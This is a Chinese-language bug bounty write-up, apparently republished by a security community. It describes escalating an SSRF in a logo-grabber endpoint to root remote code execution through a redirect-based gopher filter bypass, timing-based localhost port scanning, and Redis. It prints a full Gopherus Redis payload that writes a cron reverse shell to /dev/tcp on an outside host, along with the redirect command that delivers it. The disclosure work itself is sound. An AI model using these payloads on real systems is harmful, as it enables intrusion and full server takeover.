前言:
发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。
我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。
毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。
第1部分:侦察
通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。
因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。
由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。
在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:
GET /xxx/logoGrabber?url= [http://example.com][0]
Host: site.example.com
一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:
{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}
这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。
第2部分:发现SSRF
我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。
在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。
最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。
子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时,请求超时了。但当我提交请求时:
GET /xxx/logoGrabber?url= [http://somecorpsite.example.com][1]
Host: site.example.com
回复包含了内部标题和logo信息:
{"responseTime":"9ms","grabbedUrl":" [http://somecorpsite.example.com][1] ","urlInfo": {"pageTitle":"INTERNAL PAGE TITLE","pageLogo":" [http://somecorpsite.example.com/logos/logo.png"}}][2]
现在我可以点击内部子域名访问标题和标志的url,我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容,没有其他页面内容被返回,所以我认为这将被认为是一个相当低的影响无回显SSRF,但我没有想法来升级这个,并决定报告它。
一段时间后,报告被接受了,并进行了归档。
第3部分:RCE
自从我的原始报告被归档后,大约一个月过去了。我很高兴它被归档了,但我知道影响很低,我可能不会从中得到什么。
SSRF仍然是可攻击的,尚未修复,所以我决定做一些更多的研究,试图进一步升级它。在我的研究过程中,我了解到Gopher协议是升级ssrf的一种很好的方式,在某些情况下可以导致完整的远程代码执行。
为了测试gopher协议是否被支持,我提交了类似如下的请求:
GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
不幸的是,请求立即失败,并导致服务器错误。没有向我的Burp服务器提出任何请求,所以似乎gopher协议不被支持。
在继续我的测试时,我在网上看到重定向通常是绕过某些SSRF保护的好方法,所以我决定测试服务器是否遵循重定向。
为了测试重定向是否有效,我设置了一个Python http服务器,302将所有GET流量重定向到我的Burp服务器
python3 302redirect.py port “http://mycollaboratorurl/”
然后,我提交了如下请求,以查看重定向是否击中我的服务器:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
提交请求后,我注意到重定向被跟踪,导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了…
现在重定向工作了,我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误,所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:
python3 302redirect.py port “gopher://mycollaboratorurl/”
然后再把请求提交
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
令我惊讶的是,它成功了——重定向被跟踪了,我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url,但如果我重定向从我自己的服务器,它就能绕过这个防护,重定向被跟踪Gopher有效载荷被执行!
不仅gopher有效负载通过302重定向执行,而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址,如127.0.0.1。
现在我有了Gopher有效负载,可以访问内部主机,我必须弄清楚可以与哪些服务进行交互,以便升级。在做了一些搜索之后,我发现了gopher工具,它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:
gopherus([https://github.com/tarunkant/Gopherus)][0]
- MySQL (Port-3306)
- FastCGI (Port-9000)
- Memcached (Port-11211)
- Redis (Port-6379)
- Zabbix (Port-10050)
- SMTP (Port-25)
为了确定127.0.0.1上是否开放了上述任何端口,我使用了SSRF和端口扫描的响应时间。
通过302重定向我的web服务器到gopher://127.0.0.1:port,然后提交请求
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
我可以识别开放的端口,因为如果端口关闭,请求的响应时间会很长,如果端口打开,请求的响应时间会很短。使用这个端口扫描方法,我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
现在情况开始好转了。我想要的都有了:
- Gopher协议被302重定向接收
- 能够用gopher有效载荷攻击本地主机
- 确定在本地主机上运行的一个可能存在漏洞的服务
使用Gopherus,我生成了一个Redis反向shell负载,最终看起来像这样:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
如果这个有效负载成功,它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载,就像这样:
python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
一旦我的web服务器启动,我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。
最后,揭晓真相的时刻到了。我提交了请求:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
什么都没有。什么也没有发生。我看到一个请求来到我的重定向服务器,但没有反向shell返回到我的netcat。这就是我想的结局,果然还是挖不到rce,selfxss才适合我。
我想也许
我的端口扫描是误报的,没有Redis服务器运行在本地主机上。
我接受了失败,开始关闭一切。我真的把鼠标放在运行netcat的终端的X按钮上,离点击关闭netcat只有几毫秒,突然
我真的不知道为什么会延迟这么久,但是在提交请求大约5分钟后,我收到了一个反向shell。我很高兴我让监听一直听着,否则我永远不会知道我有一个RCE。
我运行whoami来验证我有RCE(并且我是root!),然后立即断开连接并使用新的信息更新我的原始报告。
本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解
【火线Zone】
火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~
我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!
欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!